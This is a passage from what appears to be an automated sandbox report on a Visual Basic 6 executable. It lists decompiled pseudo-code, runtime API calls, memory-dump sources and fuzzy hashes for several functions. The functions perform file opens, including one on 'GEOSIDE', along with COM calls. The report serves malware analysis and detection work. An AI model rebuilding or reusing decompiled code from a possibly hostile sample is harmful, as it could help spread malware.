        				_v92 =  ~( ~_t62 + 1);
        				_t93 =  &_v64;
        				L004015C4();
        				_t66 = _v92;
        				_t111 = _t66;
        				if(_t111 != 0) {
        					asm("fld1");
        					L00401432();
        					L004015A0();
        					asm("fcomp qword [0x4012f0]");
        					asm("fnstsw ax");
        					asm("sahf");
        					if(_t111 == 0) {
        						_push(0x402a00);
        						L004014C2();
        						_t112 = _t66 - 0x61;
        						if(_t112 == 0) {
        							asm("fld1");
        							 *_v36 = __fp0;
        							_t117 =  *0x4012e8;
        							 *((long long*)(_v36 + 8)) = _t117;
        							_v88 =  &_v48;
        							_push( &_v88);
        							asm("fld1");
        							_push(_t93);
        							_push(_t93);
        							 *_t110 = _t117;
        							L004014BC();
        							L004015A0();
        							asm("fcomp qword [0x4012e0]");
        							asm("fnstsw ax");
        							asm("sahf");
        							if(_t112 == 0) {
        								_push(0x402a08);
        								L004014EC();
        								asm("fcomp dword [0x4012ac]");
        								asm("fnstsw ax");
        								asm("sahf");
        								if(_t112 == 0) {
        									_t76 =  *((intOrPtr*)( *_a4 + 0xb0))(_a4,  &_v88);
        									asm("fclex");
        									_v92 = _t76;
        									_t113 = _v92;
        									if(_t113 >= 0) {
        										_v104 = _v104 & 0x00000000;
        									} else {
        										_push(0xb0);
        										_push(0x402434);
        										_push(_a4);
        										_push(_v92);
        										L00401552();
        										_v104 = _t76;
        									}
        									asm("fcomp dword [0x4012a8]");
        									asm("fnstsw ax");
        									asm("sahf");
        									if(_t113 == 0) {
        										if( *0x415010 != 0) {
        											_v108 = 0x415010;
        										} else {
        											_push(0x415010);
        											_push(0x4030f8);
        											L00401558();
        											_v108 = 0x415010;
        										}
        										_t80 =  &_v68;
        										L0040155E();
        										_v92 = _t80;
        										_t84 =  *((intOrPtr*)( *_v92 + 0xb8))(_v92,  &_v64, _t80,  *((intOrPtr*)( *((intOrPtr*)( *_v108)) + 0x35c))( *_v108));
        										asm("fclex");
        										_v96 = _t84;
        										if(_v96 >= 0) {
        											_v112 = _v112 & 0x00000000;
        										} else {
        											_push(0xb8);
        											_push(0x40275c);
        											_push(_v92);
        											_push(_v96);
        											L00401552();
        											_v112 = _t84;
        										}
        										_push(_v64);
        										_push(0x60);
        										_push(0xffffffff);
        										_push(0x20);
        										L004014E6();
        										L004015C4();
        										L0040152E();
        									}
        								}
        							}
        						}
        					}
        				}
        				asm("wait");
        				_push(0x411421);
        				_v88 =  &_v48;
        				_t68 =  &_v88;
        				_push(_t68);
        				_push(0);
        				L004014D4();
        				L004015C4();
        				L004015C4();
        				return _t68;
        			}





























        0x0041119a
        0x004111a5
        0x004111a6
        0x004111ad
        0x004111b0
        0x004111b8
        0x004111bb
        0x004111c8
        0x004111cd
        0x004111cf
        0x004111d4
        0x004111d7
        0x004111d8
        0x004111dd
        0x004111e2
        0x004111e7
        0x004111f1
        0x004111f6
        0x004111f7
        0x004111fc
        0x00411206
        0x0041120e
        0x00411213
        0x00411215
        0x00411217
        0x00411219
        0x0041121b
        0x00411220
        0x00411223
        0x0041122d
        0x00411232
        0x00411235
        0x0041123a
        0x0041123f
        0x00411249
        0x0041124e
        0x0041124f
        0x00411256
        0x0041125b
        0x0041125f
        0x00411262
        0x00411267
        0x0041126b
        0x0041126d
        0x00411273
        0x00411275
        0x0041127a
        0x0041127f
        0x00411285
        0x00411287
        0x00411288
        0x0041128e
        0x00411293
        0x00411298
        0x0041129c
        0x004112a5
        0x004112a7
        0x004112ac
        0x004112b2
        0x004112b8
        0x004112be
        0x004112bf
        0x004112c1
        0x004112c2
        0x004112c3
        0x004112c6
        0x004112cb
        0x004112d0
        0x004112d6
        0x004112d8
        0x004112d9
        0x004112df
        0x004112e4
        0x004112e9
        0x004112ef
        0x004112f1
        0x004112f2
        0x00411304
        0x0041130a
        0x0041130c
        0x0041130f
        0x00411313
        0x0041132f
        0x00411315
        0x00411315
        0x0041131a
        0x0041131f
        0x00411322
        0x00411325
        0x0041132a
        0x0041132a
        0x00411336
        0x0041133c
        0x0041133e
        0x0041133f
        0x0041134c
        0x00411366
        0x0041134e
        0x0041134e
        0x00411353
        0x00411358
        0x0041135d
        0x0041135d
        0x00411381
        0x00411385
        0x0041138a
        0x00411399
        0x0041139f
        0x004113a1
        0x004113a8
        0x004113c4
        0x004113aa
        0x004113aa
        0x004113af
        0x004113b4
        0x004113b7
        0x004113ba
        0x004113bf
        0x004113bf
        0x004113c8
        0x004113cb
        0x004113cd
        0x004113cf
        0x004113d1
        0x004113d9
        0x004113e1
        0x004113e1
        0x0041133f
        0x004112f2
        0x004112d9
        0x0041129c
        0x00411288
        0x004113e6
        0x004113e7
        0x00411402
        0x00411405
        0x00411408
        0x00411409
        0x0041140b
        0x00411413
        0x0041141b
        0x00411420

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 004111B0
        • __vbaStrCopy.MSVBVM60(?,?,?,?,004013C6), ref: 004111C8
        • __vbaAryConstruct2.MSVBVM60(?,00402A40,00000005,?,?,?,?,004013C6), ref: 004111D8
        • __vbaStrCat.MSVBVM60(00402A30,00402A28,?,00402A40,00000005,?,?,?,?,004013C6), ref: 004111E7
        • __vbaStrMove.MSVBVM60(00402A30,00402A28,?,00402A40,00000005,?,?,?,?,004013C6), ref: 004111F1
        • __vbaStrCat.MSVBVM60(00402A38,00000000,00402A30,00402A28,?,00402A40,00000005,?,?,?,?,004013C6), ref: 004111FC
        • __vbaStrMove.MSVBVM60(00402A38,00000000,00402A30,00402A28,?,00402A40,00000005,?,?,?,?,004013C6), ref: 00411206
        • __vbaFreeStr.MSVBVM60(00402A38,00000000,00402A30,00402A28,?,00402A40,00000005,?,?,?,?,004013C6), ref: 0041120E
        • #712.MSVBVM60(?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40,00000005), ref: 00411223
        • __vbaStrMove.MSVBVM60(?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40,00000005), ref: 0041122D
        • __vbaStrCat.MSVBVM60(00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40,00000005), ref: 0041123F
        • __vbaStrMove.MSVBVM60(00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40,00000005), ref: 00411249
        • __vbaStrCmp.MSVBVM60(00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40), ref: 0041124F
        • __vbaFreeStr.MSVBVM60(00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40), ref: 00411262
        • _CIlog.MSVBVM60(00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40), ref: 00411275
        • __vbaFpR8.MSVBVM60(00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?,00402A40), ref: 0041127A
        • #516.MSVBVM60(00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30,00402A28,?), ref: 00411293
        • #684.MSVBVM60(?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000), ref: 004112C6
        • __vbaFpR8.MSVBVM60(?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000), ref: 004112CB
        • __vbaR4Str.MSVBVM60(00402A08,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38), ref: 004112E4
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,00402434,000000B0,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001), ref: 00411325
        • __vbaNew2.MSVBVM60(004030F8,00415010,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000), ref: 00411358
        • __vbaObjSet.MSVBVM60(?,00000000,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000), ref: 00411385
        • __vbaHresultCheckObj.MSVBVM60(00000000,00000000,0040275C,000000B8,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001), ref: 004113BA
        • __vbaFileOpen.MSVBVM60(00000020,000000FF,00000060,?,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001), ref: 004113D1
        • __vbaFreeStr.MSVBVM60(00000020,000000FF,00000060,?,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001), ref: 004113D9
        • __vbaFreeObj.MSVBVM60(00000020,000000FF,00000060,?,?,?,?,00402A00,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001), ref: 004113E1
        • __vbaAryDestruct.MSVBVM60(00000000,?,00411421,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30), ref: 0041140B
        • __vbaFreeStr.MSVBVM60(00000000,?,00411421,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30), ref: 00411413
        • __vbaFreeStr.MSVBVM60(00000000,?,00411421,00000000,00402A38,00402A28,?,?,00402A30,00000000,00000001,000000FF,00000000,00402A38,00000000,00402A30), ref: 0041141B
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$Move$CheckHresult$#516#684#712ChkstkConstruct2CopyDestructFileIlogNew2Open
        • String ID:
        • API String ID: 2720509884-0
        • Opcode ID: 150f1b56676ba0b5bcc081cf14cde8e60254a27489b6c49fc656e0fb294f2975
        • Instruction ID: 451040a1fb1f624e0b509d286d22dd404b895744c339b44fff46c2864de71ba8
        • Opcode Fuzzy Hash: 150f1b56676ba0b5bcc081cf14cde8e60254a27489b6c49fc656e0fb294f2975
        • Instruction Fuzzy Hash: FB611570A50248ABDB10EBE1CD86BDEBBB8AF44704F50412AF512BA1F5DB7859858B18
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 67%
        			E00412393(void* __ebx, void* __ecx, void* __edi, void* __esi, void* _a16, void* _a32) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				void* _v36;
        				void* _v40;
        				void* _v44;
        				intOrPtr _v52;
        				char _v60;
        				short _v80;
        				intOrPtr _t22;
        				char* _t23;
        				char* _t28;
        				intOrPtr _t46;
        
        				_push(0x4013c6);
        				_push( *[fs:0x0]);
        				 *[fs:0x0] = _t46;
        				_t22 = 0x40;
        				L004013C0();
        				_v12 = _t46;
        				_v8 = 0x401348;
        				L0040158E();
        				L0040154C();
        				_push("12-");
        				_push(L"12-12");
        				L004015AC();
        				_v52 = _t22;
        				_v60 = 8;
        				_t23 =  &_v60;
        				_push(_t23);
        				L0040147A();
        				asm("sbb eax, eax");
        				_v80 =  ~( ~(_t23 - 0xffff) + 1);
        				L0040156A();
        				_t28 = _v80;
        				if(_t28 != 0) {
        					_v52 = 1;
        					_v60 = 2;
        					_push(0);
        					_t28 =  &_v60;
        					_push(_t28);
        					L00401474();
        					L004015B2();
        					L0040156A();
        				}
        				_push(0x41246c);
        				L0040156A();
        				L004015C4();
        				L004015C4();
        				return _t28;
        			}















        0x00412398
        0x004123a3
        0x004123a4
        0x004123ad
        0x004123ae
        0x004123b6
        0x004123b9
        0x004123c6
        0x004123d1
        0x004123d6
        0x004123db
        0x004123e0
        0x004123e5
        0x004123e8
        0x004123ef
        0x004123f2
        0x004123f3
        0x004123ff
        0x00412404
        0x0041240b
        0x00412410
        0x00412416
        0x00412418
        0x0041241f
        0x00412426
        0x00412428
        0x0041242b
        0x0041242c
        0x00412436
        0x0041243e
        0x0041243e
        0x00412443
        0x00412456
        0x0041245e
        0x00412466
        0x0041246b

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 004123AE
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 004123C6
        • __vbaStrCopy.MSVBVM60(?,?,?,?,004013C6), ref: 004123D1
        • __vbaStrCat.MSVBVM60(12-12,12-,?,?,?,?,004013C6), ref: 004123E0
        • #557.MSVBVM60(00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 004123F3
        • __vbaFreeVar.MSVBVM60(00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 0041240B
        • #705.MSVBVM60(00000002,00000000,00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 0041242C
        • __vbaStrMove.MSVBVM60(00000002,00000000,00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 00412436
        • __vbaFreeVar.MSVBVM60(00000002,00000000,00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 0041243E
        • __vbaFreeVar.MSVBVM60(0041246C,00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 00412456
        • __vbaFreeStr.MSVBVM60(0041246C,00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 0041245E
        • __vbaFreeStr.MSVBVM60(0041246C,00000008,?,?,?,?,?,12-12,12-,?,?,?,?,004013C6), ref: 00412466
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$#557#705ChkstkCopyMove
        • String ID: 12-$12-12
        • API String ID: 1093160486-3531647454
        • Opcode ID: e3023bbdb6a6d52f2aa960eb4761dd36bccf06068598ca97cc8e903a4bed3597
        • Instruction ID: cdc6a06e8c1e5e964d7bf681325af63c0d1616fed09cf28e2102b8b796026718
        • Opcode Fuzzy Hash: e3023bbdb6a6d52f2aa960eb4761dd36bccf06068598ca97cc8e903a4bed3597
        • Instruction Fuzzy Hash: D6114F71910248AACB04EFA1CC96FDD7BB4AF44708F50453AB402B71E1EB7C6945CB58
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 63%
        			E0041058A(void* __ebx, void* __edi, void* __esi, intOrPtr* _a4, void* _a16, void* _a32) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v28;
        				void* _v36;
        				void* _v52;
        				signed int _v56;
        				void* _v60;
        				char _v76;
        				char _v92;
        				intOrPtr _v116;
        				intOrPtr _v124;
        				intOrPtr _v132;
        				char _v140;
        				void* _v144;
        				signed int _v148;
        				intOrPtr* _v152;
        				signed int _v156;
        				intOrPtr _v168;
        				intOrPtr* _v172;
        				signed int _v176;
        				signed int _v180;
        				short _t71;
        				signed int _t74;
        				signed int _t80;
        				signed int _t85;
        				void* _t101;
        				void* _t103;
        				intOrPtr _t104;
        
        				_t104 = _t103 - 0xc;
        				 *[fs:0x0] = _t104;
        				L004013C0();
        				_v16 = _t104;
        				_v12 = 0x401290;
        				_v8 = 0;
        				 *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx,  *[fs:0x0], 0x4013c6, _t101);
        				L0040158E();
        				L0040154C();
        				_v116 = 0x4026bc;
        				_v124 = 8;
        				L0040158E();
        				_push( &_v76);
        				_push( &_v92);
        				L004014F8();
        				_v132 = 0x402a00;
        				_v140 = 0x8008;
        				_push( &_v92);
        				_t71 =  &_v140;
        				_push(_t71);
        				L004015DC();
        				_v144 = _t71;
        				_push( &_v92);
        				_push( &_v76);
        				_push(2);
        				L004015BE();
        				_t74 = _v144;
        				if(_t74 != 0) {
        					if( *0x4155f8 != 0) {
        						_v172 = 0x4155f8;
        					} else {
        						_push(0x4155f8);
        						_push(0x4028e4);
        						L00401558();
        						_v172 = 0x4155f8;
        					}
        					_v144 =  *_v172;
        					_t80 =  *((intOrPtr*)( *_v144 + 0x14))(_v144,  &_v60);
        					asm("fclex");
        					_v148 = _t80;
        					if(_v148 >= 0) {
        						_v176 = _v176 & 0x00000000;
        					} else {
        						_push(0x14);
        						_push(0x4028d4);
        						_push(_v144);
        						_push(_v148);
        						L00401552();
        						_v176 = _t80;
        					}
        					_v152 = _v60;
        					_t85 =  *((intOrPtr*)( *_v152 + 0x110))(_v152,  &_v56);
        					asm("fclex");
        					_v156 = _t85;
        					if(_v156 >= 0) {
        						_v180 = _v180 & 0x00000000;
        					} else {
        						_push(0x110);
        						_push(0x4028f4);
        						_push(_v152);
        						_push(_v156);
        						L00401552();
        						_v180 = _t85;
        					}
        					_t74 = _v56;
        					_v168 = _t74;
        					_v56 = _v56 & 0x00000000;
        					L004015B2();
        					L0040152E();
        				}
        				_push(0x4107a0);
        				L004015C4();
        				L004015C4();
        				L0040156A();
        				return _t74;
        			}
































        0x0041058d
        0x0041059c
        0x004105a8
        0x004105b0
        0x004105b3
        0x004105ba
        0x004105c9
        0x004105d2
        0x004105dd
        0x004105e2
        0x004105e9
        0x004105f6
        0x004105fe
        0x00410602
        0x00410603
        0x00410608
        0x0041060f
        0x0041061c
        0x0041061d
        0x00410623
        0x00410624
        0x00410629
        0x00410633
        0x00410637
        0x00410638
        0x0041063a
        0x00410642
        0x0041064b
        0x00410658
        0x00410675
        0x0041065a
        0x0041065a
        0x0041065f
        0x00410664
        0x00410669
        0x00410669
        0x00410687
        0x0041069f
        0x004106a2
        0x004106a4
        0x004106b1
        0x004106d3
        0x004106b3
        0x004106b3
        0x004106b5
        0x004106ba
        0x004106c0
        0x004106c6
        0x004106cb
        0x004106cb
        0x004106dd
        0x004106f5
        0x004106fb
        0x004106fd
        0x0041070a
        0x0041072f
        0x0041070c
        0x0041070c
        0x00410711
        0x00410716
        0x0041071c
        0x00410722
        0x00410727
        0x00410727
        0x00410736
        0x00410739
        0x0041073f
        0x0041074c
        0x00410754
        0x00410754
        0x00410759
        0x0041078a
        0x00410792
        0x0041079a
        0x0041079f

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 004105A8
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 004105D2
        • __vbaStrCopy.MSVBVM60(?,?,?,?,004013C6), ref: 004105DD
        • __vbaVarDup.MSVBVM60 ref: 004105F6
        • #518.MSVBVM60(?,?), ref: 00410603
        • __vbaVarTstEq.MSVBVM60(00008008,?,?,?,?,?), ref: 00410624
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,00008008,?,?,?,?,?), ref: 0041063A
        • __vbaNew2.MSVBVM60(004028E4,004155F8,?,?,004013C6), ref: 00410664
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028D4,00000014), ref: 004106C6
        • __vbaHresultCheckObj.MSVBVM60(00000000,?,004028F4,00000110), ref: 00410722
        • __vbaStrMove.MSVBVM60(00000000,?,004028F4,00000110), ref: 0041074C
        • __vbaFreeObj.MSVBVM60(00000000,?,004028F4,00000110), ref: 00410754
        • __vbaFreeStr.MSVBVM60(004107A0,?,?,004013C6), ref: 0041078A
        • __vbaFreeStr.MSVBVM60(004107A0,?,?,004013C6), ref: 00410792
        • __vbaFreeVar.MSVBVM60(004107A0,?,?,004013C6), ref: 0041079A
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckHresult$#518ChkstkCopyListMoveNew2
        • String ID:
        • API String ID: 1459133440-0
        • Opcode ID: fc91fbf82eedaaec16fac8bfc8240a7ad812a2fd2f69ac86144aaeeddd2112c0
        • Instruction ID: 4cbecfffe9b934f0b11beb306b683c4eaf7af4b1f899d333b182787d4a5c56f3
        • Opcode Fuzzy Hash: fc91fbf82eedaaec16fac8bfc8240a7ad812a2fd2f69ac86144aaeeddd2112c0
        • Instruction Fuzzy Hash: 0E51D971900218EFDB10EFA5CD45FDDBBB5BF44304F1081AAE10ABB1A1DB785A898F55
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 48%
        			E0041247F(void* __ebx, void* __edi, void* __esi, long long __fp0, intOrPtr* _a4, void* _a12) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				long long _v32;
        				void* _v48;
        				char _v52;
        				char _v56;
        				signed short _v64;
        				char _v72;
        				char _v88;
        				signed char _t26;
        				signed short _t27;
        				void* _t44;
        				void* _t46;
        				intOrPtr _t47;
        
        				_t47 = _t46 - 0xc;
        				 *[fs:0x0] = _t47;
        				L004013C0();
        				_v16 = _t47;
        				_v12 = 0x401358;
        				_v8 = 0;
        				_t26 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x48,  *[fs:0x0], 0x4013c6, _t44);
        				L0040158E();
        				_push(0x4026d4);
        				L0040146E();
        				_t27 = _t26 & 0x000000ff;
        				if(_t27 == 2) {
        					_push(0x402be0);
        					_push(0x402be8);
        					L004015AC();
        					L004015B2();
        					_push(_t27);
        					_push(0x402bf0);
        					L004015AC();
        					L004015B2();
        					_push(_t27);
        					_push(0x402be0);
        					L004015AC();
        					_v64 = _t27;
        					_v72 = 8;
        					_push( &_v72);
        					_push( &_v88);
        					L00401462();
        					_push( &_v88);
        					L00401468();
        					_v32 = __fp0;
        					_push( &_v56);
        					_push( &_v52);
        					_push(2);
        					L004015A6();
        					_push( &_v88);
        					_t27 =  &_v72;
        					_push(_t27);
        					_push(2);
        					L004015BE();
        				}
        				asm("wait");
        				_push(0x412598);
        				L0040156A();
        				return _t27;
        			}


















        0x00412482
        0x00412491
        0x0041249b
        0x004124a3
        0x004124a6
        0x004124ad
        0x004124bc
        0x004124c5
        0x004124ca
        0x004124cf
        0x004124d4
        0x004124dc
        0x004124e2
        0x004124e7
        0x004124ec
        0x004124f6
        0x004124fb
        0x004124fc
        0x00412501
        0x0041250b
        0x00412510
        0x00412511
        0x00412516
        0x0041251b
        0x0041251e
        0x00412528
        0x0041252c
        0x0041252d
        0x00412535
        0x00412536
        0x0041253b
        0x00412541
        0x00412545
        0x00412546
        0x00412548
        0x00412553
        0x00412554
        0x00412557
        0x00412558
        0x0041255a
        0x0041255f
        0x00412562
        0x00412563
        0x00412592
        0x00412597

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 0041249B
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 004124C5
        • __vbaUI1Str.MSVBVM60(004026D4,?,?,?,?,004013C6), ref: 004124CF
        • __vbaStrCat.MSVBVM60(00402BE8,00402BE0,004026D4,?,?,?,?,004013C6), ref: 004124EC
        • __vbaStrMove.MSVBVM60(00402BE8,00402BE0,004026D4,?,?,?,?,004013C6), ref: 004124F6
        • __vbaStrCat.MSVBVM60(00402BF0,00000000,00402BE8,00402BE0,004026D4,?,?,?,?,004013C6), ref: 00412501
        • __vbaStrMove.MSVBVM60(00402BF0,00000000,00402BE8,00402BE0,004026D4,?,?,?,?,004013C6), ref: 0041250B
        • __vbaStrCat.MSVBVM60(00402BE0,00000000,00402BF0,00000000,00402BE8,00402BE0,004026D4,?,?,?,?,004013C6), ref: 00412516
        • #687.MSVBVM60(?,00000008), ref: 0041252D
        • __vbaDateVar.MSVBVM60(?,?,00000008), ref: 00412536
        • __vbaFreeStrList.MSVBVM60(00000002,00000000,00402BF0,?,?,00000008), ref: 00412548
        • __vbaFreeVarList.MSVBVM60(00000002,?,?,?,?,004013C6), ref: 0041255A
        • __vbaFreeVar.MSVBVM60(00412598,004026D4,?,?,?,?,004013C6), ref: 00412592
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$ListMove$#687ChkstkDate
        • String ID:
        • API String ID: 2912548229-0
        • Opcode ID: 4bdd801b63a9523e51eef76daed6f5a027c06082444fc0554c5b2c4b6332a4e2
        • Instruction ID: 5d87261b442962fb632202a7b505b236c02e6ccf2281491b57b700195cf00761
        • Opcode Fuzzy Hash: 4bdd801b63a9523e51eef76daed6f5a027c06082444fc0554c5b2c4b6332a4e2
        • Instruction Fuzzy Hash: A7211D71940208BBDB00EFA1CD46FEE7778AB44704F50843BB502BA1E1DABC6A498B59
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 47%
        			E00413B48(void* __ebx, void* __edi, void* __esi, void* __eflags, intOrPtr* _a4, void* _a32, void* _a36) {
        				intOrPtr _v8;
        				intOrPtr _v12;
        				intOrPtr _v16;
        				void* _v28;
        				void* _v52;
        				char _v72;
        				signed int _v76;
        				signed int _v88;
        				signed int _t29;
        				void* _t42;
        				void* _t44;
        				intOrPtr _t45;
        				signed int _t47;
        
        				_t45 = _t44 - 0xc;
        				 *[fs:0x0] = _t45;
        				L004013C0();
        				_v16 = _t45;
        				_v12 = 0x4013a8;
        				_v8 = 0;
        				_t29 =  *((intOrPtr*)( *_a4 + 4))(_a4, __edi, __esi, __ebx, 0x40,  *[fs:0x0], 0x4013c6, _t42);
        				L0040154C();
        				L0040158E();
        				_push(0x402a08);
        				L004014EC();
        				asm("fcomp dword [0x4012ac]");
        				asm("fnstsw ax");
        				asm("sahf");
        				if(__eflags == 0) {
        					_t29 =  *((intOrPtr*)( *_a4 + 0xb0))(_a4,  &_v72);
        					asm("fclex");
        					_v76 = _t29;
        					_t47 = _v76;
        					if(_t47 >= 0) {
        						_t20 =  &_v88;
        						 *_t20 = _v88 & 0x00000000;
        						__eflags =  *_t20;
        					} else {
        						_push(0xb0);
        						_push(0x402434);
        						_push(_a4);
        						_push(_v76);
        						L00401552();
        						_v88 = _t29;
        					}
        					asm("fcomp dword [0x4012a8]");
        					asm("fnstsw ax");
        					asm("sahf");
        					if(_t47 == 0) {
        						_push(L"GEOSIDE");
        						_push(0xb4);
        						_push(0xffffffff);
        						_push(0x20);
        						L004014E6();
        					}
        				}
        				asm("wait");
        				_push(0x413c26);
        				L004015C4();
        				L0040156A();
        				return _t29;
        			}
















        0x00413b4b
        0x00413b5a
        0x00413b64
        0x00413b6c
        0x00413b6f
        0x00413b76
        0x00413b85
        0x00413b8e
        0x00413b99
        0x00413b9e
        0x00413ba3
        0x00413ba8
        0x00413bae
        0x00413bb0
        0x00413bb1
        0x00413bbf
        0x00413bc5
        0x00413bc7
        0x00413bca
        0x00413bce
        0x00413bea
        0x00413bea
        0x00413bea
        0x00413bd0
        0x00413bd0
        0x00413bd5
        0x00413bda
        0x00413bdd
        0x00413be0
        0x00413be5
        0x00413be5
        0x00413bf1
        0x00413bf7
        0x00413bf9
        0x00413bfa
        0x00413bfc
        0x00413c01
        0x00413c06
        0x00413c08
        0x00413c0a
        0x00413c0a
        0x00413bfa
        0x00413c0f
        0x00413c10
        0x00413c18
        0x00413c20
        0x00413c25

        APIs
        • __vbaChkstk.MSVBVM60(?,004013C6), ref: 00413B64
        • __vbaStrCopy.MSVBVM60(?,?,?,?,004013C6), ref: 00413B8E
        • __vbaVarDup.MSVBVM60(?,?,?,?,004013C6), ref: 00413B99
        • __vbaR4Str.MSVBVM60(00402A08,?,?,?,?,004013C6), ref: 00413BA3
        • __vbaHresultCheckObj.MSVBVM60(00000000,004013A8,00402434,000000B0), ref: 00413BE0
        • __vbaFileOpen.MSVBVM60(00000020,000000FF,000000B4,GEOSIDE), ref: 00413C0A
        • __vbaFreeStr.MSVBVM60(00413C26,00402A08,?,?,?,?,004013C6), ref: 00413C18
        • __vbaFreeVar.MSVBVM60(00413C26,00402A08,?,?,?,?,004013C6), ref: 00413C20
        Strings
        Memory Dump Source
        • Source File: 00000000.00000002.1263133547.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true
        • Associated: 00000000.00000002.1263119099.0000000000400000.00000002.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263189562.0000000000415000.00000004.00020000.sdmp Download File
        • Associated: 00000000.00000002.1263210428.0000000000417000.00000002.00020000.sdmp Download File
        Similarity
        • API ID: __vba$Free$CheckChkstkCopyFileHresultOpen
        • String ID: GEOSIDE
        • API String ID: 311016274-2913397203
        • Opcode ID: 2ccf737a343ecf76997187714c3534fa00b7c7ee32716e7d0474725ff3847cd5
        • Instruction ID: 4e4758c5fcd1368e48221bd9c383dfad206b6f498c39496d2178aebc60612d8f
        • Opcode Fuzzy Hash: 2ccf737a343ecf76997187714c3534fa00b7c7ee32716e7d0474725ff3847cd5
        • Instruction Fuzzy Hash: 85213530900249FFDB10EF95CA8AFCD7BB4BF44749F50416AF406BA1E1D7786A858B88
        Uniqueness

        Uniqueness Score: -1.00%

        C-Code - Quality: 78%
